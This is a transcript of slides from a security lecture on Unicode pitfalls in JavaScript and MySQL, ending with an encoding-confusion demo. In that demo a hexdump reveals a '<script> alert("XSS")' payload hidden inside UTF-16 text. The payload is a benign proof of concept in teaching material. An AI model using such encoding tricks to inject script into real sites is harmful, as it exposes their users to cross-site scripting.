Hacking with Unicode

This presentation explores common mistakes made by programmers when dealing with Unicode support and character encodings on the Web. For each mistake, I explain how to fix/prevent it, but also how it could possibly be exploited.

Event: HackPra — the hacking lecture at the Ruhr University in Bochum
Video: https://www.youtube.com/watch?v=qFfjJ8pOrWY&hd=1 (use these slides though, not the ones in the video)
Links: http://lanyrd.com/2014/hackpra/sczxgz/

2016 update: https://speakerdeck.com/mathiasbynens/hacking-with-unicode-in-2016

Transcript

1. @mathias · #hackpra Hacking with Unicode
2. @mathias · #hackpra 1337 unic0de h4xx
3. @mathias
4. 1. Unicode 2. Encodings for Unicode 3. Unicode in JavaScript 4. Unicode in MySQL 5. Hacking with Unicode What we’ll cover
5. 1. Unicode
6. code point unique name symbol/glyph
7. A LATIN CAPITAL LETTER A U+0041
8. a LATIN SMALL LETTER A U+0061
9. © COPYRIGHT SIGN U+00A9
10. ‚ SNOWMAN U+2603
11. PILE OF POO U+1F4A9 !
12. U+000000 → U+10FFFF
13. (0x10FFFF + 1) code points ! ↓ ! 17 planes (0xFFFF + 1) code points each
14. Unicode plane #1 U+0000 → U+FFFF Basic Multilingual Plane
15. Unicode planes #2-17 ! U+010000 → U+10FFFF ! supplementary planes astral planes
16. 2. Encodings
17. Code point range UTF-8 UTF-16 UTF-32 UTF-EBCDIC GB 18030 U+000000 – U+00007F 1 2 4 1 1 U+000080 – U+00009F 2 2 for characters inherited from! GB 2312/GBK (e.g. most! Chinese characters);! 4 for! everything else U+0000A0 – U+0003FF 2 U+000400 – U+0007FF 3 U+000800 – U+003FFF 3 U+004000 – U+00FFFF 4 U+010000 – U+03FFFF 4 4 4 U+040000 – U+10FFFF 5 Number of bytes per code point
18. Code point range UTF-8 UTF-16 UTF-32 UTF-EBCDIC GB 18030 U+000000 – U+00007F 1 2 4 1 1 U+000080 – U+00009F 2 2 for characters inherited from! GB 2312/GBK (e.g. most! Chinese characters);! 4 for! everything else U+0000A0 – U+0003FF 2 U+000400 – U+0007FF 3 U+000800 – U+003FFF 3 U+004000 – U+00FFFF 4 U+010000 – U+03FFFF 4 4 4 U+040000 – U+10FFFF 5 Number of bytes per code point
20. IETF RFCs
21. IETF RFCs ✘
23. ✔
26. 3. JavaScript " Unicode http://mths.be/jsu
29. JavaScript has a Unicode problem http://mths.be/jsu
31. Hexadecimal escape sequences >> '\x41\x42\x43' 'ABC' >> '\x61\x62\x63' 'abc' can be used for U+0000 → U+00FF
32. Unicode escape sequences >> '\u0041\u0042\u0043' 'ABC' >> 'I \u2661 JavaScript!' 'I ὑ JavaScript!' can be used for U+0000 → U+FFFF
33. …what about astral code points?
34. …what about !? *…and other, equally important astral symbols *
35. !
36. Unicode code point escapes >> '\u{41}\u{42}\u{43}' 'ABC' >> '\u{1F4A9}' '!' // U+1F4A9 ! can be used for U+000000 → U+10FFFF ES6
37. Surrogate pairs >> '\uD83D\uDCA9' '!' // U+1F4A9 ! can be used for U+010000 → U+10FFFF
38. Surrogate pairs // for astral code points (> 0xFFFF) function getSurrogates(codePoint) { var high = Math.floor((codePoint - 0x10000) / 0x400) + 0xD800; var low = (codePoint - 0x10000) % 0x400 + 0xDC00; return [ high, low ]; } ! function getCodePoint(high, low) { var codePoint = (high - 0xD800) * 0x400 + low - 0xDC00 + 0x10000; return codePoint; } ! >> getSurrogates(0x1F4A9); // U+1F4A9 is ! [ 0xD83D, 0xDCA9 ] >> getCodePoint(0xD83D, 0xDCA9); 0x1F4A9 http://mths.be/bed
39. JavaScript string length >> 'A'.length // U+0041 1 >> 'A' == '\u0041' true >> 'B'.length // U+0042 1 >> 'B' == '\u0042' true
40. String length ≠ char count >> '!'.length // U+1D400 2 >> '!' == '\uD835\uDC00' true >> '"'.length // U+1D401 2 >> '"' == '\uD835\uDC01' true
41. String length ≠ char count >> '!'.length // U+1F4A9 2 >> '!' == '\uD83D\uDCA9' true insert obligatory “number two” joke here
42. Real-world example
43. Real-world example
46. String character count function countSymbols(string) { return punycode.ucs2.decode(string).length; } ! >> countSymbols('A') // U+0041 1 >> countSymbols('!') // U+1D400 1 >> countSymbols('!') // U+1F4A9 1 http://mths.be/punycode
47. String character count function countSymbols(string) { return Array.from(string).length; } ! >> countSymbols('A') // U+0041 1 >> countSymbols('!') // U+1D400 1 >> countSymbols('!') // U+1F4A9 1 ES6
48. JavaScript escape sequences http://mths.be/bmf
49. If we’re being pedantic… // it’s actually even more complicated: ! >> 'mañana' == 'mañana' false
50. If we’re being pedantic… // it’s actually even more complicated: ! >> 'mañana' == 'mañana' false >> 'ma\xF1ana' == 'man\u0303ana' false >> 'ma\xF1ana'.length 6 >> 'man\u0303ana'.length 7
51. function countSymbolsPedantically(string) { // Unicode Normalization, NFC form: var normalized = string.normalize('NFC'); // Account for astral symbols / surrogates: return Array.from(normalized).length; } ! >> countSymbolsPedantically('mañana') // U+00F1 6 >> countSymbolsPedantically('mañana') // U+006E + U+0303 6 Unicode normalization http://git.io/unorm ES6
52. Perfect? >> var zalgo = 'H ̹̙̦̮͉̩̗̗ ͧ̇̏̊̾ Eͨ͆͒̆ͮ̃ ͏̷̮̣̫̤̣ ̵̞̹̻ ̀̉̓ͬ͑͡ ͅ Cͯ̂͐ ͏̨̛͔̦̟͈̻ O ̜͎͍͙͚̬̝̣ ̽ͮ͐͗̀ͤ̍̀ ͢ M ̴̡̲̭͍͇̼̟̯̦ ̉̒͠ Ḛ̛̙̞̪̗ ͥ ͤͩ̾͑̔͐ ͅ Ṯ̴̷̷̗̼͍ ̿̿̓̽͐ H ̙̙ ̔̄ ͜ ';
53. Perfect? Nope. → can be ‘fixed’ using epic regex-fu >> var zalgo = 'H ̹̙̦̮͉̩̗̗ ͧ̇̏̊̾ Eͨ͆͒̆ͮ̃ ͏̷̮̣̫̤̣ ̵̞̹̻ ̀̉̓ͬ͑͡ ͅ Cͯ̂͐ ͏̨̛͔̦̟͈̻ O ̜͎͍͙͚̬̝̣ ̽ͮ͐͗̀ͤ̍̀ ͢ M ̴̡̲̭͍͇̼̟̯̦ ̉̒͠ Ḛ̛̙̞̪̗ ͥ ͤͩ̾͑̔͐ ͅ Ṯ̴̷̷̗̼͍ ̿̿̓̽͐ H ̙̙ ̔̄ ͜ '; ! >> countSymbolsPedantically(zalgo) 116 // not 9
54. Reversing a string in JavaScript // naive solution function reverse(string) { return string.split('').reverse().join(''); }
55. Reversing a string in JavaScript // naive solution function reverse(string) { return string.split('').reverse().join(''); } ! >> reverse('abc') 'cba'
56. Reversing a string in JavaScript // naive solution function reverse(string) { return string.split('').reverse().join(''); } ! >> reverse('abc') 'cba' >> reverse('mañana') // U+00F1 'anañam'
57. Reversing a string in JavaScript // naive solution function reverse(string) { return string.split('').reverse().join(''); } ! >> reverse('abc') 'cba' >> reverse('mañana') // U+00F1 'anañam' >> reverse('mañana') // U+006E + U+0303 'anãnam'
58. Reversing a string in JavaScript // naive solution function reverse(string) { return string.split('').reverse().join(''); } ! >> reverse('abc') 'cba' >> reverse('mañana') // U+00F1 'anañam' >> reverse('mañana') // U+006E + U+0303 'anãnam' >> reverse('!') // U+1F4A9 '��' '\uDCA9\uD83D' // the surrogate pair for !, in the wrong order
59. “I put my thang down, flip it, and reverse it” — Missy ‘Misdemeanor’ Elliot, 2002
60. Reversing a string in JavaScript // Using the Esrever library var reverse = esrever.reverse; ! >> reverse('abc') 'cba' >> reverse('mañana') // U+00F1 'anañam' >> reverse('mañana') // U+006E + U+0303 'anañam' >> reverse('!') // U+1F4A9 '!' http://mths.be/esrever
61. This behavior affects other string methods, too.
62. String.fromCharCode() >> String.fromCharCode(0x0041) // U+0041 'A' // U+0041 >> String.fromCharCode(0x1F4A9) // U+1F4A9 '!' // U+F4A9 ! only works as you’d expect for U+0000 → U+FFFF
63. String.fromCharCode() → use surrogate pairs for astral symbols: ! >> String.fromCharCode(0xD83D, 0xDCA9) '!' // U+1F4A9 ! → or just use Punycode.js: ! >> punycode.ucs2.encode([ 0x1F4A9 ]) '!' // U+1F4A9
64. String.fromCodePoint() >> String.fromCodePoint(0x1F4A9) '!' ! can be used for U+000000 → U+10FFFF ES6 http://mths.be/fromcodepoint
65. String#charAt() >> '!'.charAt(0) // U+1F4A9 '\uD83D' // U+D83D
66. String#at() >> '!'.at(0) // U+1F4A9 '!' // U+1F4A9 ES7 http://mths.be/at
67. String#charCodeAt() >> '!'.charCodeAt(0) // U+1F4A9 0xD83D
68. String#codePointAt() >> '!'.codePointAt(0) // U+1F4A9 0x1F4A9 ES6 http://mths.be/codepointat
69. Iterate over all symbols in a string function getSymbols(string) { var length = string.length; var index = -1; var output = []; var character; var charCode; while (++index < length) { character = string.charAt(index); charCode = character.charCodeAt(0); if (charCode >= 0xD800 && charCode <= 0xDBFF) { // note: this doesn’t account for lone high surrogates output.push(character + string.charAt(++index)); } else { output.push(character); } } return output; } ! var symbols = getSymbols('! '); symbols.forEach(function(symbol) { assert(symbol == '! '); });
70. Iterate over all symbols in a string for (let symbol of '!') { assert(symbol == '!'); } ES6
71. More string madness •String#substring •String#slice •…anything that involves strings
72. Regular expressions >> /foo.bar/.test('foo!bar') false
73. Match any Unicode symbol >> /^.$/.test('!') false // doesn’t match line breaks, either
74. Match any Unicode symbol >> /^.$/.test('!') false // doesn’t match line breaks, either ! >> /^[\s\S]$/.test('!') false // matches line breaks, but still doesn’t match whole astral symbols
75. Match any Unicode symbol >> /^.$/.test('!') false // doesn’t match line breaks, either ! >> /^[\s\S]$/.test('!') false // matches line breaks, but still doesn’t match whole astral symbols ! >> /^[\0-\uD7FF\uDC00-\uFFFF]|[\uD800- \uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF] $/.test('!') true // wtf
76. Create Unicode-aware regular expressions >> regenerate().addRange(0x0, 0x10FFFF).toString() http://mths.be/regenerate
77. Create Unicode-aware regular expressions >> regenerate().addRange(0x0, 0x10FFFF).toString() '[\0-\uD7FF\uDC00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800- \uDBFF]' http://mths.be/regenerate
78. >> regenerate().addRange(0x0, 0x10FFFF).toString() '[\0-\uD7FF\uDC00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800- \uDBFF]' >> regenerate() http://mths.be/regenerate Create Unicode-aware regular expressions
79. >> regenerate().addRange(0x0, 0x10FFFF).toString() '[\0-\uD7FF\uDC00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800- \uDBFF]' >> regenerate() …… .addRange(0x000000, 0x10FFFF) // add all Unicode code points http://mths.be/regenerate Create Unicode-aware regular expressions
80. >> regenerate().addRange(0x0, 0x10FFFF).toString() '[\0-\uD7FF\uDC00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800- \uDBFF]' >> regenerate() …… .addRange(0x000000, 0x10FFFF) // add all Unicode code points …… .removeRange('A', 'z') // remove all symbols from `A` to `z` http://mths.be/regenerate Create Unicode-aware regular expressions
81. >> regenerate().addRange(0x0, 0x10FFFF).toString() '[\0-\uD7FF\uDC00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800- \uDBFF]' >> regenerate() …… .addRange(0x000000, 0x10FFFF) // add all Unicode code points …… .removeRange('A', 'z') // remove all symbols from `A` to `z` …… .remove('!') // remove U+1F4A9 PILE OF POO http://mths.be/regenerate Create Unicode-aware regular expressions
82. >> regenerate().addRange(0x0, 0x10FFFF).toString() '[\0-\uD7FF\uDC00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800- \uDBFF]' >> regenerate() …… .addRange(0x000000, 0x10FFFF) // add all Unicode code points …… .removeRange('A', 'z') // remove all symbols from `A` to `z` …… .remove('!') // remove U+1F4A9 PILE OF POO …… .toString(); http://mths.be/regenerate Create Unicode-aware regular expressions
83. >> regenerate().addRange(0x0, 0x10FFFF).toString() '[\0-\uD7FF\uDC00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800- \uDBFF]' >> regenerate() …… .addRange(0x000000, 0x10FFFF) // add all Unicode code points …… .removeRange('A', 'z') // remove all symbols from `A` to `z` …… .remove('!') // remove U+1F4A9 PILE OF POO …… .toString(); '[\0-\x1F\x21-\x40\x7B-\uD7FF\uDC00-\uFFFF]|[\uD800-\uDBFF][\uDC00- \uDFFF]|[\uD800-\uDBFF]' http://mths.be/regenerate Create Unicode-aware regular expressions
84. >> var regenerate = require('regenerate'); >> var symbols = require('unicode-7.0.0/scripts/Greek/symbols'); >> var set = regenerate(symbols); >> set.toString(); http://mths.be/regenerate Create Unicode-aware regular expressions http://mths.be/node-unicode-data
85. >> var regenerate = require('regenerate'); >> var symbols = require('unicode-7.0.0/scripts/Greek/symbols'); >> var set = regenerate(symbols); >> set.toString(); '[\u0370-\u0373\u0375-\u0377\u037A-\u037D\u037F\u0384\u0386\u0388- \u038A\u038C\u038E-\u03A1\u03A3-\u03E1\u03F0-\u03FF\u1D26-\u1D2A \u1D5D-\u1D61\u1D66-\u1D6A\u1DBF\u1F00-\u1F15\u1F18-\u1F1D\u1F20- \u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D \u1F80-\u1FB4\u1FB6-\u1FC4\u1FC6-\u1FD3\u1FD6-\u1FDB\u1FDD-\u1FEF \u1FF2-\u1FF4\u1FF6-\u1FFE\u2126\uAB65]|\uD800[\uDD40-\uDD8C\uDDA0]| \uD834[\uDE00-\uDE45]' http://mths.be/regenerate Create Unicode-aware regular expressions http://mths.be/node-unicode-data
86. Regular expressions >> /foo.bar/.test('foo!bar') false ! >> /foo.bar/u.test('foo!bar') true ES6
87. Regex character classes >> /[a-c]/ // matches: // U+0061 LATIN SMALL LETTER A // U+0062 LATIN SMALL LETTER B // U+0063 LATIN SMALL LETTER C >> /^[a-c]$/.test('a') true >> /^[a-c]$/.test('b') true >> /^[a-c]$/.test('c') true
88. >> /[!-"]/ // matches: // U+1F4A9 PILE OF POO // U+1F4AA FLEXED BICEPS // U+1F4AB DIZZY SYMBOL >> /^[!-"]$/.test('!') true >> /^[!-"]$/.test('#') true >> /^[!-"]$/.test('"') true Regex character classes
89. >> /[!-"]/ // matches: // U+1F4A9 PILE OF POO // U+1F4AA FLEXED BICEPS // U+1F4AB DIZZY SYMBOL >> /^[!-"]$/.test('!') true >> /^[!-"]$/.test('#') true >> /^[!-"]$/.test('"') true Regex character classes ✘
90. Regex character classes >> /[!-"]/ SyntaxError: Invalid regular expression: Range out of order in character class
91. Regex character classes >> /[!-"]/ SyntaxError: Invalid regular expression: Range out of order in character class >> /[\uD83D\uDCA9-\uD83D\uDCAB]/
92. Regex character classes >> /[!-"]/ SyntaxError: Invalid regular expression: Range out of order in character class >> /[\uD83D\uDCA9-\uD83D\uDCAB]/
93. Regex character classes ES6 ✔ >> /[!-"]/u // matches: // U+1F4A9 PILE OF POO // U+1F4AA FLEXED BICEPS // U+1F4AB DIZZY SYMBOL >> /^[!-"]$/u.test('!') true >> /^[!-"]$/u.test('#') true >> /^[!-"]$/u.test('"') true
94. >> regenerate().addRange('!', '"').toString() '\uD83D[\uDCA9-\uDCAB]' >> /^\uD83D[\uDCA9-\uDCAB]$/.test('!') true >> /^\uD83D[\uDCA9-\uDCAB]$/.test('#') true >> /^\uD83D[\uDCA9-\uDCAB]$/.test('"') true Regex character classes http://mths.be/regenerate
95. JavaScript has a Unicode problem http://mths.be/jsu
96. ! The Pile of Poo Test™ http://mths.be/jsu
97. ! is the new %00
98. 4. MySQL $ Unicode
99. CREATE TABLE `table_name` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `column_name` VARCHAR(255) NOT NULL DEFAULT '', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
100. CREATE TABLE `table_name` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `column_name` VARCHAR(255) NOT NULL DEFAULT '', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
101. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected, 1 warning (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 1 ! mysql> SHOW WARNINGS; +---------+------+--------------------------------------------+ | Level | Code | Message | +---------+------+--------------------------------------------+ | Warning | 1366 | Incorrect string value: '\xF0\x9F\x92\xA9' | | | | for column 'column_name' at row 1 | +---------+------+--------------------------------------------+ 1 row in set (0.00 sec) ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo | +-------------+ 1 row in set (0.00 sec)
102. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected, 1 warning (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 1 ! mysql> SHOW WARNINGS; +---------+------+--------------------------------------------+ | Level | Code | Message | +---------+------+--------------------------------------------+ | Warning | 1366 | Incorrect string value: '\xF0\x9F\x92\xA9' | | | | for column 'column_name' at row 1 | +---------+------+--------------------------------------------+ 1 row in set (0.00 sec) ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo | +-------------+ 1 row in set (0.00 sec)
103. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected, 1 warning (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 1 ! mysql> SHOW WARNINGS; +---------+------+--------------------------------------------+ | Level | Code | Message | +---------+------+--------------------------------------------+ | Warning | 1366 | Incorrect string value: '\xF0\x9F\x92\xA9' | | | | for column 'column_name' at row 1 | +---------+------+--------------------------------------------+ 1 row in set (0.00 sec) ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo | +-------------+ 1 row in set (0.00 sec)
104. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected, 1 warning (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 1 ! mysql> SHOW WARNINGS; +---------+------+--------------------------------------------+ | Level | Code | Message | +---------+------+--------------------------------------------+ | Warning | 1366 | Incorrect string value: '\xF0\x9F\x92\xA9' | | | | for column 'column_name' at row 1 | +---------+------+--------------------------------------------+ 1 row in set (0.00 sec) ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo | +-------------+ 1 row in set (0.00 sec)
105. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected, 1 warning (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 1 ! mysql> SHOW WARNINGS; +---------+------+--------------------------------------------+ | Level | Code | Message | +---------+------+--------------------------------------------+ | Warning | 1366 | Incorrect string value: '\xF0\x9F\x92\xA9' | | | | for column 'column_name' at row 1 | +---------+------+--------------------------------------------+ 1 row in set (0.00 sec) ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo | +-------------+ 1 row in set (0.00 sec) ✘
106. MySQL’s ✌️utf8✌️
107. MySQL’s ✌️utf8✌️
108. ALTER TABLE `table_name` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; http://mths.be/utf8mb4
109. ALTER TABLE `table_name` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; http://mths.be/utf8mb4
110. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo!bar | +-------------+ 1 row in set (0.00 sec) http://mths.be/utf8mb4
111. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo!bar | +-------------+ 1 row in set (0.00 sec) http://mths.be/utf8mb4
112. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo!bar | +-------------+ 1 row in set (0.00 sec) http://mths.be/utf8mb4
113. mysql> UPDATE table_name SET column_name = 'foo!bar' WHERE id = 9001; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 ! mysql> SELECT column_name FROM table_name WHERE id = 9001; +-------------+ | column_name | +-------------+ | foo!bar | +-------------+ 1 row in set (0.00 sec) http://mths.be/utf8mb4 ✔
114. 5. Hacking with Unicode
115. http://mths.be/brk
116. $ curl -sL http://mths.be/brk | hexdump -C | tail -n 19 000002c0 3c 00 70 00 3e 00 48 00 65 00 72 00 65 00 20 00 |<.p.>.H.e.r.e. .| 000002d0 69 00 73 00 20 00 73 00 6f 00 6d 00 65 00 20 00 |i.s. .s.o.m.e. .| 000002e0 6d 00 6f 00 6a 00 69 00 62 00 61 00 6b 00 65 00 |m.o.j.i.b.a.k.e.| 000002f0 2e 00 20 00 54 00 6f 00 20 00 66 00 69 00 78 00 |.. .T.o. .f.i.x.| 00000300 20 00 69 00 74 00 2c 00 20 00 75 00 73 00 65 00 | .i.t.,. .u.s.e.| 00000310 20 00 74 00 68 00 65 00 20 00 63 00 68 00 61 00 | .t.h.e. .c.h.a.| 00000320 72 00 61 00 63 00 74 00 65 00 72 00 20 00 65 00 |r.a.c.t.e.r. .e.| 00000330 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 20 00 |n.c.o.d.i.n.g. .| 00000340 6d 00 65 00 6e 00 75 00 20 00 74 00 6f 00 20 00 |m.e.n.u. .t.o. .| 00000350 63 00 68 00 6f 00 6f 00 73 00 65 00 20 00 61 00 |c.h.o.o.s.e. .a.| 00000360 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 65 00 |n.o.t.h.e.r. .e.| 00000370 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 2e 00 |n.c.o.d.i.n.g...| 00000380 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 70 00 |<./.p.>.....<.p.| 00000390 3e 00 3c 73 63 72 69 70 74 3e 20 61 6c 65 72 74 |>.<script> alert| 000003a0 28 22 58 53 53 22 29 3b 3c 2f 73 63 72 69 70 74 |("XSS");</script| 000003b0 3e 20 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 |> <./.p.>.....<.| 000003c0 2f 00 62 00 6f 00 64 00 79 00 3e 00 0a 00 3c 00 |/.b.o.d.y.>...<.| 000003d0 2f 00 68 00 74 00 6d 00 6c 00 3e 00 0a 00 0a 00 |/.h.t.m.l.>.....| 000003e0
117. $ curl -sL http://mths.be/brk | hexdump -C | tail -n 19 000002c0 3c 00 70 00 3e 00 48 00 65 00 72 00 65 00 20 00 |<.p.>.H.e.r.e. .| 000002d0 69 00 73 00 20 00 73 00 6f 00 6d 00 65 00 20 00 |i.s. .s.o.m.e. .| 000002e0 6d 00 6f 00 6a 00 69 00 62 00 61 00 6b 00 65 00 |m.o.j.i.b.a.k.e.| 000002f0 2e 00 20 00 54 00 6f 00 20 00 66 00 69 00 78 00 |.. .T.o. .f.i.x.| 00000300 20 00 69 00 74 00 2c 00 20 00 75 00 73 00 65 00 | .i.t.,. .u.s.e.| 00000310 20 00 74 00 68 00 65 00 20 00 63 00 68 00 61 00 | .t.h.e. .c.h.a.| 00000320 72 00 61 00 63 00 74 00 65 00 72 00 20 00 65 00 |r.a.c.t.e.r. .e.| 00000330 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 20 00 |n.c.o.d.i.n.g. .| 00000340 6d 00 65 00 6e 00 75 00 20 00 74 00 6f 00 20 00 |m.e.n.u. .t.o. .| 00000350 63 00 68 00 6f 00 6f 00 73 00 65 00 20 00 61 00 |c.h.o.o.s.e. .a.| 00000360 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 65 00 |n.o.t.h.e.r. .e.| 00000370 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 2e 00 |n.c.o.d.i.n.g...| 00000380 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 70 00 |<./.p.>.....<.p.| 00000390 3e 00 3c 73 63 72 69 70 74 3e 20 61 6c 65 72 74 |>.<script> alert| 000003a0 28 22 58 53 53 22 29 3b 3c 2f 73 63 72 69 70 74 |("XSS");</script| 000003b0 3e 20 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 |> <./.p.>.....<.| 000003c0 2f 00 62 00 6f 00 64 00 79 00 3e 00 0a 00 3c 00 |/.b.o.d.y.>...<.| 000003d0 2f 00 68 00 74 00 6d 00 6c 00 3e 00 0a 00 0a 00 |/.h.t.m.l.>.....| 000003e0
118. $ curl -sL http://mths.be/brk | hexdump -C | tail -n 19 000002c0 3c 00 70 00 3e 00 48 00 65 00 72 00 65 00 20 00 |<.p.>.H.e.r.e. .| 000002d0 69 00 73 00 20 00 73 00 6f 00 6d 00 65 00 20 00 |i.s. .s.o.m.e. .| 000002e0 6d 00 6f 00 6a 00 69 00 62 00 61 00 6b 00 65 00 |m.o.j.i.b.a.k.e.| 000002f0 2e 00 20 00 54 00 6f 00 20 00 66 00 69 00 78 00 |.. .T.o. .f.i.x.| 00000300 20 00 69 00 74 00 2c 00 20 00 75 00 73 00 65 00 | .i.t.,. .u.s.e.| 00000310 20 00 74 00 68 00 65 00 20 00 63 00 68 00 61 00 | .t.h.e. .c.h.a.| 00000320 72 00 61 00 63 00 74 00 65 00 72 00 20 00 65 00 |r.a.c.t.e.r. .e.| 00000330 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 20 00 |n.c.o.d.i.n.g. .| 00000340 6d 00 65 00 6e 00 75 00 20 00 74 00 6f 00 20 00 |m.e.n.u. .t.o. .| 00000350 63 00 68 00 6f 00 6f 00 73 00 65 00 20 00 61 00 |c.h.o.o.s.e. .a.| 00000360 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 65 00 |n.o.t.h.e.r. .e.| 00000370 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 2e 00 |n.c.o.d.i.n.g...| 00000380 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 70 00 |<./.p.>.....<.p.| 00000390 3e 00 3c 73 63 72 69 70 74 3e 20 61 6c 65 72 74 |>.<script> alert| 000003a0 28 22 58 53 53 22 29 3b 3c 2f 73 63 72 69 70 74 |("XSS");</script| 000003b0 3e 20 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 |> <./.p.>.....<.| 000003c0 2f 00 62 00 6f 00 64 00 79 00 3e 00 0a 00 3c 00 |/.b.o.d.y.>...<.| 000003d0 2f 00 68 00 74 00 6d 00 6c 00 3e 00 0a 00 0a 00 |/.h.t.m.l.>.....| 000003e0
119. $ curl -sL http://mths.be/brk | hexdump -C | tail -n 19 000002c0 3c 00 70 00 3e 00 48 00 65 00 72 00 65 00 20 00 |<.p.>.H.e.r.e. .| 000002d0 69 00 73 00 20 00 73 00 6f 00 6d 00 65 00 20 00 |i.s. .s.o.m.e. .| 000002e0 6d 00 6f 00 6a 00 69 00 62 00 61 00 6b 00 65 00 |m.o.j.i.b.a.k.e.| 000002f0 2e 00 20 00 54 00 6f 00 20 00 66 00 69 00 78 00 |.. .T.o. .f.i.x.| 00000300 20 00 69 00 74 00 2c 00 20 00 75 00 73 00 65 00 | .i.t.,. .u.s.e.| 00000310 20 00 74 00 68 00 65 00 20 00 63 00 68 00 61 00 | .t.h.e. .c.h.a.| 00000320 72 00 61 00 63 00 74 00 65 00 72 00 20 00 65 00 |r.a.c.t.e.r. .e.| 00000330 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 20 00 |n.c.o.d.i.n.g. .| 00000340 6d 00 65 00 6e 00 75 00 20 00 74 00 6f 00 20 00 |m.e.n.u. .t.o. .| 00000350 63 00 68 00 6f 00 6f 00 73 00 65 00 20 00 61 00 |c.h.o.o.s.e. .a.| 00000360 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 65 00 |n.o.t.h.e.r. .e.| 00000370 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 2e 00 |n.c.o.d.i.n.g...| 00000380 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 70 00 |<./.p.>.....<.p.| 00000390 3e 00 3c 73 63 72 69 70 74 3e 20 61 6c 65 72 74 |>.<script> alert| 000003a0 28 22 58 53 53 22 29 3b 3c 2f 73 63 72 69 70 74 |("XSS");</script| 000003b0 3e 20 3c 00 2f 00 70 00 3e 00 0a 00 0a 00 3c 00 |> <./.p.>.....<.| 000003c0 2f 00 62 00 6f 00 64 00 79 00 3e 00 0a 00 3c 00 |/.b.o.d.y.>...<.| 000003d0 2f 00 68 00 74 00 6d 00 6c 00 3e 00 0a 00 0a 00 |/.h.t.m.l.>.....| 000003e0  (U+3C73 CJK UNIFIED IDEOGRAPH-3C73)
